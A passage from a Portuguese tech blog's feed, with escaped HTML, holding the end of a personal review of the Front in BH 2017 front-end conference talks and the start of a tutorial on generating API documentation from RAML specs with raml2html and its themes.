Que na minha opinião é {hipérbole-alert} um dos melhores eventos de &lt;em&gt;front-end&lt;/em&gt; desse país {/hipérbole-alert}.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer 1:&lt;/strong&gt; Sim! Esse artigo é completamente parcial. Embora eu seja (atualmente) um desenvolver &lt;em&gt;back-end&lt;/em&gt;,
tenho um enorme carinho por esse evento. E essa edição foi mais que especial pois a &lt;em&gt;Giselli Brasil&lt;/em&gt;,
minha esposa, esteve presente e assistiu as apresentações comigo.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer 2:&lt;/strong&gt; Infelizmente não pude ficar até o final, e acabei perdendo as apresentações de
&lt;em&gt;Beto Muniz&lt;/em&gt;, &lt;em&gt;Paula Faria&lt;/em&gt;, &lt;em&gt;Marco Gigliarano&lt;/em&gt;, &lt;em&gt;Michael Lancaster&lt;/em&gt; e &lt;em&gt;Felipe Silva&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;O evento foi muito bom. Fora alguns probleminhas com o acesso a &lt;em&gt;Wi-fi&lt;/em&gt; (provavelmente mais culpa
minha do que da organização), a experiência foi muito boa (como tinha sido lá em 2013). É um evento
diferente de &lt;em&gt;Python Brasil&lt;/em&gt;, &lt;em&gt;FISL&lt;/em&gt; ou &lt;em&gt;BrazilJS&lt;/em&gt;. Menor e mais focado, com apenas uma trilha,
você sabe exatamente o que irá assistir. Isso não o torna menos interessante! Particularmente
gosto de eventos assim e as minhas expectativas foram completamente atendidas.&lt;/p&gt;
&lt;p&gt;Uma das conclusões que tirei é, caro leitor (principalmente você, nobre colega de &lt;em&gt;back-end&lt;/em&gt;),
se você estiver fazendo &lt;em&gt;front-end&lt;/em&gt; sem utilizar componentização, você não está &quot;surfando a onda&quot;.&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;https://twitter.com/tessamero&quot; title=&quot;Perfil no Twitter&quot;&gt;@tessamero&lt;/a&gt; - Revolutionize Your Workflow with ChatOps&lt;/h2&gt;
&lt;p&gt;Para abrir o dia, a &lt;em&gt;Tessa&lt;/em&gt; deu uma aula de simpatia e uma rápida introdução ao mundo dos
&lt;em&gt;ChatOps&lt;/em&gt;. Segundo a sua apresentação, &lt;em&gt;ChatOps&lt;/em&gt; é:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) a way of collaborating which connects teams, tools, &amp;#x26; processes to
create an automated and transparent workflow.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Na &lt;a href=&quot;http://loadsmart.com/&quot; title=&quot;Jabá da firma&quot;&gt;&lt;em&gt;Loadsmart&lt;/em&gt;&lt;/a&gt; estamos testando o conceito
através de &lt;em&gt;Slack&lt;/em&gt; + &lt;em&gt;Heroku&lt;/em&gt;. O artigo do &lt;em&gt;Heroku Dev Center&lt;/em&gt; é uma maneira de
ver esse conceito funcionando na prática:
&lt;a href=&quot;https://devcenter.heroku.com/articles/chatops&quot; title=&quot;Leia mais no Heroku Dev Center&quot;&gt;https://devcenter.heroku.com/articles/chatops&lt;/a&gt;.&lt;/p&gt;
&lt;iframe src=&quot;//www.slideshare.net/slideshow/embed_code/key/qGv6hZOLjdlHo6&quot; width=&quot;595&quot; height=&quot;485&quot; frameborder=&quot;0&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; scrolling=&quot;no&quot; allowfullscreen&gt; &lt;/iframe&gt;
&lt;p&gt;A palestra em si foi bem introdutória, mas com conteúdo o suficiente para atiçar a curiosidade
do público.&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;https://twitter.com/guilhermebruzzi&quot; title=&quot;Perfil no Twitter&quot;&gt;@guilhermebruzzi&lt;/a&gt; - App multiplataforma compartilhando 90% do código&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Guilherme&lt;/em&gt;, em uma das palestras mais interessantes do evento, apresentou como
a &lt;a href=&quot;https://pt.vtex.com/&quot; title=&quot;A Verdadeira Plataforma Cloud Commerce&quot;&gt;&lt;em&gt;VTEX&lt;/em&gt;&lt;/a&gt; leva a
multiplataforma para um novo nível, reaproveitando grande quantidade de código
no &lt;em&gt;Desktop&lt;/em&gt; e &lt;em&gt;Mobile&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Entre as ferramentas citadas, os já esperados &lt;a href=&quot;https://facebook.github.io/react/&quot; title=&quot;A JavaScript library for building user interfaces&quot;&gt;&lt;em&gt;React&lt;/em&gt;&lt;/a&gt;
e &lt;a href=&quot;https://facebook.github.io/react-native/&quot; title=&quot;Learn once, write anywhere: Build mobile apps with React&quot;&gt;&lt;em&gt;React Native&lt;/em&gt;&lt;/a&gt;
marcaram presença. Além disso, ouvimos falar também de &lt;a href=&quot;http://tachyons.io/&quot; title=&quot;Built for designing&quot;&gt;&lt;em&gt;Tachyons&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;https://github.com/jeffbski/redux-logic&quot; title=&quot;Redux middleware for organizing all your business logic&quot;&gt;&lt;em&gt;Redux Logic&lt;/em&gt;&lt;/a&gt; e
&lt;a href=&quot;https://github.com/rt2zz/redux-persist&quot; title=&quot;Persist and rehydrate a redux store&quot;&gt;&lt;em&gt;Redux Persist&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/b5107d6d45ef6fc0262dbacba68a8f16/6af66/in.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 76.56250000000001%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAADdUlEQVQozxXM61IaZwCA4b0eC3veb8+w7CqK4KGQJjWapBhtjSYyqLE1goMKohFTU6kFRTRSBEU5KjLEoEXRWE06ETNO2um91M68f98Hun/nrtlk0gKGQUiW5AmE5ABvkBUNRYuAjSwFAvOvJ8dcV1efrqrVrWQqXyhubmf8wdWLyw8QqoIxFcLjpECxWkGaHXfkc6m9xNZIn81sNG6+WVqcm/NOTN7Olx8/HpXLfxxX3h6WCweH1etriMVIGqUEhpFoXoOzgVnvcemd/emQSGpaDQ0+t6vH2jntdv/z79+fqrfCX59vbq5vbm6+fKl+voYIFL9N+kq1KBvDbV2+ibFy6XDsx9Hn/TbflHd0cLDX2uVxuXK5/fXNdDieCcd350Nx9y+rHn8E0qjgjhrVMI779AbnN23R315dvj8t7mZKuzsnpUIpv3Nafnt2cuz1/tz3qN87uTDhj/gC8YWVrVA0DTmMjdPNzfGhwZ3wyvJyILm2WDkp57PJzTeLu5lUMv57bC1YyKUOD94F73acT84Xo5nVeCaazCdSBWgrFJjuaF/jxaP2h3shfzYWPH9/ls8mcslo+aSSz6b3MonYenA/lZmQlXGM3LO9OAol1qOp8GYWym1HXvZ222B4g2L2O607kfk/Ly72UpFceuO0UinuplNb69ux1ULpcCkYHGo02tXwapv1NLCRiWUg+6P2e4q+lWadOLlgakxHX5+dX4T9nmIxHU3Eh0cHXvnG8rnE3PLKY6fDOeN1NDU9qamZVup3ZhYg+33T14IgYASnRhpZ4HXae7pt7uHu/H6q54f+VpPRMz5QLGSnfvUPftfxsr5uBIBhnHZwmimXB7JotHoCcDDKwKgGxogaNYdxZoPe3GTRgVoDJ824BiqVg8Vg6BmgbGrVYxTpk2TX8xGndxaSSSCiOAMjMopbaLqWpIy6egEDHM5IjJbHKIOitT5sa2k0m3GiGacNvKHljvXBkwHbT+OQiJMihnMIpkMJEwkUkmoQavWstl5ULEZLHS+RapTDWR2jQWGUQGiBVIxK271vezufDkEiRuhIIKCEhJMKRtQDRqFFGQgSybXqm5rkBgEHdZzSIOgBSmAwClCgpWotLQ+6n9khDiEkgr6dbxUZ+5+QKFbEaR4DMq1rEGUeIwWCr2VlgaAphAQILmCs2Wjp+r7vP2Izi3CX9xkwAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Foto do logotipo do Front in BH&amp;quot;&quot;
        title=&quot;Foto do logotipo do Front in BH&quot;
        src=&quot;/static/b5107d6d45ef6fc0262dbacba68a8f16/6af66/in.png&quot;
        srcset=&quot;/static/b5107d6d45ef6fc0262dbacba68a8f16/8514f/in.png 192w,
/static/b5107d6d45ef6fc0262dbacba68a8f16/804b2/in.png 384w,
/static/b5107d6d45ef6fc0262dbacba68a8f16/6af66/in.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Foto do logotipo do Front in BH&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;O que mais me chamou a atenção em seu &lt;em&gt;talk&lt;/em&gt; foi a parte de &lt;em&gt;bridging&lt;/em&gt; entre &lt;em&gt;React&lt;/em&gt; e
as interfaces nativas dos aparelhos. Confesso que até então não tinha ouvido falar do assunto:
&lt;a href=&quot;http://www.codepool.biz/react-native-bridging-modules-android.html&quot; title=&quot;React Native Bridging Modules for Android from Scratch on Windows&quot;&gt;http://www.codepool.biz/react-native-bridging-modules-android.html&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;https://twitter.com/diogomoretti_&quot; title=&quot;Perfil no Twitter&quot;&gt;@diogomoretti_&lt;/a&gt; - CSS {Grid} Layout&lt;/h2&gt;
&lt;p&gt;Logo na sequência veio o &lt;em&gt;Diogo Moretti&lt;/em&gt;, com toda a acidez e irreverência, dar um puxão de orelha
na galera que ainda acha que sistemas de &lt;em&gt;Grid&lt;/em&gt; são a salvação do mundo.&lt;/p&gt;
&lt;p&gt;Eu (que sou &quot;&lt;a href=&quot;https://purecss.io/&quot; title=&quot;A set of small, responsive CSS modules that you can use in every web project&quot;&gt;&lt;em&gt;Pure CSS&lt;/em&gt;&lt;/a&gt; lover&quot;)
tomei um choque de realidade com essa palestra. O mundo do &lt;em&gt;front-end&lt;/em&gt; está mudando, e eu
simplesmente não fazia ideia de que havia uma maneira mais elegante de resolver a questão de &lt;em&gt;grids&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://speakerdeck.com/diogomoretti/css-grid-layout-front-in-bh-2k17&quot;&gt;Confira os &lt;em&gt;slides&lt;/em&gt; da palestra&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Um dos &lt;em&gt;highlights&lt;/em&gt; da apresentação foi:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Grids não-semânticos só fazem sentido com CSS Puro.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;E em tempos onde fazer &quot;&lt;em&gt;CSS&lt;/em&gt; puro&quot; está cada vez mais raro, tendo a concordar com a opinião do &lt;em&gt;Diogo&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Então, ao acabar de ler esse &lt;em&gt;post&lt;/em&gt;, não deixe de conferir:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://css-tricks.com/snippets/css/a-guide-to-flexbox/&quot; title=&quot;A complete guide to Flexbox&quot;&gt;&lt;em&gt;Flexbox&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://css-tricks.com/snippets/css/complete-guide-grid/&quot; title=&quot;A Complete Guide to Grid&quot;&gt;&lt;em&gt;CSS Grid Layout&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Felipe Silvestre &amp;#x26; &lt;a href=&quot;https://twitter.com/markinmoura&quot; title=&quot;Perfil no Twitter&quot;&gt;@markinmoura&lt;/a&gt; - Level Up! Como evoluir as tecnologias da sua Startup?&lt;/h2&gt;
&lt;p&gt;O pessoal da &lt;a href=&quot;https://www.hotmart.com/pt/&quot; title=&quot;Venda produtos digitais com simplicidade e segurança&quot;&gt;&lt;em&gt;Hotmart&lt;/em&gt;&lt;/a&gt;
marcou presença no evento como patrocinadores e também como palestrantes. O tema foi o racional por trás
da escolha do &lt;a href=&quot;https://vuejs.org/&quot; title=&quot;The Progressive JavaScript Framework&quot;&gt;&lt;em&gt;Vue.js&lt;/em&gt;&lt;/a&gt;, levando em consideração o ambiente dinâmico de uma &lt;em&gt;Startup&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Através de um processo bem pragmático (e deveras democrático), eles foram capazes de escolher a ferramenta, medindo
diferentes aspectos e seus prós e contras.&lt;/p&gt;
&lt;p&gt;Estou aguardando ansiosamente a publicação dos &lt;em&gt;slides&lt;/em&gt; para &quot;roubar&quot; o método para mim.&lt;/p&gt;
&lt;h2&gt;Ilya Gurevich - Moving from Angular to React&lt;/h2&gt;
&lt;p&gt;E a &lt;em&gt;Loadsmart&lt;/em&gt;&lt;sup&gt;firma&lt;/sup&gt; também marcou presença, enviando o &lt;em&gt;Ilya&lt;/em&gt; para falar da experiência de mudar um
produto feito em &lt;em&gt;Angular&lt;/em&gt; para &lt;em&gt;React&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Eu sou completamente suspeito para falar sobre essa apresentação, já que trabalho com o &lt;em&gt;Ilya&lt;/em&gt;,
e sei das dores de manter a solução em &lt;em&gt;Angular&lt;/em&gt;. Mas o mais bacana é que ele abriu alguns detalhes,
como por exemplo, a necessidade de manter tanto &lt;a href=&quot;/tag/grunt.html&quot; title=&quot;Leia mais sobre Grunt&quot;&gt;&lt;em&gt;Grunt&lt;/em&gt;&lt;/a&gt;
quanto &lt;em&gt;webpack&lt;/em&gt; rodando em paralelo, já que ainda existe um legado em &lt;em&gt;Angular&lt;/em&gt; que precisa estar operacional,
além das novas &lt;em&gt;features&lt;/em&gt; que ganham vida em &lt;em&gt;React&lt;/em&gt; diariamente.&lt;/p&gt;
&lt;p&gt;Além disso, deixou saliente as dificuldades de escrever &lt;em&gt;React&lt;/em&gt;, e os riscos de mover grandes pedaços de lógica
de negócio (que estão lá funcionando há anos) para uma nova ferramenta.&lt;/p&gt;
&lt;p&gt;Sem dúvida, uma palestra apaixonada.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Por motivos de força maior, não pude acompanhar as demais palestras do dia. Mas seguindo a reação do público no
&lt;em&gt;Twitter&lt;/em&gt;, fica evidente que o pessoal gostou bastante.&lt;/p&gt;
&lt;p&gt;Saí completamente satisfeito do Teatro &lt;em&gt;Ney Soares&lt;/em&gt;. E o cafézinho mineiro em &lt;em&gt;Confins&lt;/em&gt; foi a cereja do bolo.&lt;/p&gt;
&lt;p&gt;Veja a &lt;a href=&quot;https://gist.github.com/jcemer/6bdf0ef742dc1e6edcd1e045139fe329&quot; title=&quot;Gist front-in-bh-2017-talks.md&quot;&gt;lista de todas as palestras aqui&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima, e espero te encontrar no &lt;em&gt;Front in BH 2k18&lt;/em&gt; :)&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Documentando a sua API com raml2html]]></title><description><![CDATA[Uma das coisas mais legais em relação ao RAML
(e afins) é a diversidade de ferramentas que existem em seu ecossistema.
Embora a…]]></description><link>https://klauslaube.com.br/2017/09/16/documentando-sua-api-com-raml2html.html</link><guid isPermaLink="false">https://klauslaube.com.br/2017/09/16/documentando-sua-api-com-raml2html.html</guid><pubDate>Sat, 16 Sep 2017 00:15:00 GMT</pubDate><content:encoded>&lt;p&gt;Uma das coisas mais legais em relação ao &lt;a href=&quot;/tag/raml.html&quot; title=&quot;Leia mais sobre RAML&quot;&gt;&lt;em&gt;RAML&lt;/em&gt;&lt;/a&gt;
(e afins) é a diversidade de ferramentas que existem em seu ecossistema.
Embora a especificação por si cumpra o seu papel, são elas que trazem
&quot;mais cores&quot; aos resultados práticos de ter uma &lt;em&gt;spec&lt;/em&gt; para a sua &lt;a href=&quot;/tag/api.html&quot; title=&quot;Leia mais sobre API&quot;&gt;&lt;em&gt;API&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;No universo do &lt;em&gt;RAML&lt;/em&gt;, existe algumas boas ferramentas que geram documentação a partir da especificação.
Soluções que vão do &lt;a href=&quot;https://github.com/spotify/ramlfications&quot; title=&quot;Conheça o Ramlfications&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;https://github.com/jhitchcock/raml2wiki&quot; title=&quot;Conheça o raml2wiki&quot;&gt;&lt;em&gt;Wikis&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;https://github.com/QuickenLoans/RAMLsharp&quot; title=&quot;Leia mais sobre o RAMLsharp&quot;&gt;&lt;em&gt;ASP.net&lt;/em&gt;&lt;/a&gt; e até ao
&lt;a href=&quot;https://github.com/isaacloud/sdk-gen&quot; title=&quot;Gere SDKs usando RAML&quot;&gt;&lt;em&gt;Java&lt;/em&gt;&lt;/a&gt;. Mas acredito
que a ferramenta mais atual seja o
&lt;a href=&quot;https://github.com/raml2html/raml2html&quot; title=&quot; RAML to HTML documentation generator&quot;&gt;&lt;em&gt;raml2html&lt;/em&gt;&lt;/a&gt;,
feito em &lt;a href=&quot;/tag/nodejs.html&quot; title=&quot;Leia mais sobre Node.js&quot;&gt;&lt;em&gt;Node.js&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Simples, como as melhores coisas da vida&lt;/h2&gt;
&lt;p&gt;O &lt;a href=&quot;https://github.com/raml2html/raml2html&quot; title=&quot;RAML to HTML documentation generator&quot;&gt;&lt;em&gt;raml2html&lt;/em&gt;&lt;/a&gt;
é uma biblioteca que transforma &lt;em&gt;specs&lt;/em&gt; &lt;em&gt;RAML&lt;/em&gt; em &lt;a href=&quot;/tag/html.html&quot; title=&quot;Leia mais sobre HTML&quot;&gt;&lt;em&gt;HTML&lt;/em&gt;&lt;/a&gt;.
E o mais legal é que a sua versão 4 suporta a versão 1.0 da linguagem.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 600px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/38bde1abbcaf123f1744a17ab3a04572/b4294/poesia-vogon.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 57.29166666666667%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQBAwX/xAAVAQEBAAAAAAAAAAAAAAAAAAABAv/aAAwDAQACEAMQAAABzxe+aWJE/8QAGRAAAwEBAQAAAAAAAAAAAAAAAQIDMgAR/9oACAEBAAEFAo0ZTU+WZiSNP1Nf/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAGhAAAgIDAAAAAAAAAAAAAAAAABEBIRASsf/aAAgBAQAGPwLXpVDkef/EABsQAQACAwEBAAAAAAAAAAAAAAEAESExQVFh/9oACAEBAAE/IUlS/BHuJTzER7I1zN3uKles7/Cf/9oADAMBAAIAAwAAABAIH//EABYRAQEBAAAAAAAAAAAAAAAAAAARMf/aAAgBAwEBPxDUf//EABcRAAMBAAAAAAAAAAAAAAAAAAABETH/2gAIAQIBAT8Qx0tP/8QAGxABAQADAQEBAAAAAAAAAAAAAREAITFRQXH/2gAIAQEAAT8QZGtPlafMRtCSeur+7xgFXb3LAjppt9uIAsGt269xK07UX1mf/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Aguenta mais um pouco dessa poesia Vogon (imagilendo.wordpress.com)&amp;quot;&quot;
        title=&quot;Aguenta mais um pouco dessa poesia Vogon (imagilendo.wordpress.com)&quot;
        src=&quot;/static/38bde1abbcaf123f1744a17ab3a04572/b4294/poesia-vogon.jpg&quot;
        srcset=&quot;/static/38bde1abbcaf123f1744a17ab3a04572/7809d/poesia-vogon.jpg 192w,
/static/38bde1abbcaf123f1744a17ab3a04572/4ecad/poesia-vogon.jpg 384w,
/static/38bde1abbcaf123f1744a17ab3a04572/b4294/poesia-vogon.jpg 600w&quot;
        sizes=&quot;(max-width: 600px) 100vw, 600px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Aguenta mais um pouco dessa poesia Vogon (imagilendo.wordpress.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Vamos aproveitar o &quot;mini IMDB&quot; construído no
&lt;a href=&quot;/2017/01/31/ramilificando-as-suas-apis.html&quot; title=&quot;Ramilificando as suas APIs&quot;&gt;&lt;em&gt;post&lt;/em&gt; de &lt;em&gt;RAML&lt;/em&gt;&lt;/a&gt;, para
ilustrar como essa ferramenta funciona. Mas antes, aquele &lt;code class=&quot;language-text&quot;&gt;npm install&lt;/code&gt; clássico:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ npm i -g raml2html&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora é só chamar o utilitário de linha de comando:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ raml2html api.raml &gt; index.html&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pronto! Basta abrir o arquivo no seu navegador favorito:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/3d450d7316eac432c912aacbbdbe36b9/6af66/raml2html-example.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 65.10416666666666%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAABXklEQVQoz4WSS0+DQBSF+fuu/Av+Bxe61pVtXFrSQgi1rQmPgQHmAfPCI2BLH9EvQ3KHcOaeewYvDMPPgSiKUMdxvB1A4ft+kiScC865c66fcffo3z+tPciCYAMliqqqGWNlWdYDhBDIuoH+nKbVrDWetVYIIaW8/uJfPJIDAqUcEOfIGWJcQiilJjHspVkGt1pr9SdGayxgjJnE6Cmasu/tuEcw1l2C10KZt1gu97FP1ph0ErdKL6I6SrnkDC5GSxdia50ytpKmhvGO29/kvU6r172/SrdVSQkpKKVjched5zkdr83DHE2TM0Ynz9ZipFPPQRmTbrlrnnMaBKFcfZxsK63Xu/qQsa5tESnyuGzrHBX6UHWhkAUhKk1w5CTm2jxE5OWrpHkGiqLAj4Ejzm33t22rrg3eF4dwUxQlITnnDJepZ85H88jM4BnXUYxNzxonpTHTtNdpuxuX98M3J0vvwYyS7U0AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Exemplo de documentação RAML&amp;quot;&quot;
        title=&quot;Exemplo de documentação RAML&quot;
        src=&quot;/static/3d450d7316eac432c912aacbbdbe36b9/6af66/raml2html-example.png&quot;
        srcset=&quot;/static/3d450d7316eac432c912aacbbdbe36b9/8514f/raml2html-example.png 192w,
/static/3d450d7316eac432c912aacbbdbe36b9/804b2/raml2html-example.png 384w,
/static/3d450d7316eac432c912aacbbdbe36b9/6af66/raml2html-example.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de documentação RAML&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Simples, não? Calma que ainda não acabou! Existe a possibilidade de utilizar temas juntamente com o &lt;code class=&quot;language-text&quot;&gt;raml2html&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ npm i -g raml2html-markdown-theme&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora basta passar o tema na hora de gerar a documentação:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ raml2html --theme raml2html-markdown-theme api.raml &gt; index.md&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Sem dúvida, um dos templates mais legais que temos disponível é o &lt;code class=&quot;language-text&quot;&gt;raml2html-slate-theme&lt;/code&gt;.
Completo, e baseado no próprio
&lt;a href=&quot;https://github.com/lord/slate&quot; title=&quot;Beautiful static documentation for your API&quot;&gt;&lt;em&gt;Slate&lt;/em&gt;&lt;/a&gt;,
famosa ferramenta para criação de documentação de &lt;em&gt;APIs&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/fa67e81f6682a91ec52b768cbcd65d95/6af66/raml2html-example-2.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 53.125%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABZElEQVQoz22Ri07CQBBF9z80RglYpN1Ht4VCQQkxxK/R8Mb4vQpCC4XIow3b1mlJoRZvTjaTzd7M7B00mX5/fk22u50Q4pDI9bwwDLv9IVH15nNbr5oK07CqZ0Ab0HYrfBGmJIQPZ3/4fl/CRv2Rl2sns3I2lxE0Aby4Vcosjp0lTBvNll41FMawqgKER0BRIgzNLXtuWTPLclbrjPmt27/OFTDjCiNEZYSDn1LOaFxIMka7/T4IAt/34cyYe4PRbV6ivAwzAzJAE+Ib5CcKUjrE5uH4Q5JpxWxohskrtUvQ3Lans9nPZgOvT82TwMZMq7TaL7VG8/+0V+v1Ecj8Iu1xUaHmUws6XzqjtOHPkVwXChj+T9qDUREzMMOqSkRVouTOyJQjx1ktndViuTxOnja/dnpXuYJmGEadG6ZKOURNqEYjOC0qGFn2wrYXMLPrehlzpze4ucsTrhPOYbEPmKWBPf8CBs9v440IzggAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Exemplo de documentação RAML&amp;quot;&quot;
        title=&quot;Exemplo de documentação RAML&quot;
        src=&quot;/static/fa67e81f6682a91ec52b768cbcd65d95/6af66/raml2html-example-2.png&quot;
        srcset=&quot;/static/fa67e81f6682a91ec52b768cbcd65d95/8514f/raml2html-example-2.png 192w,
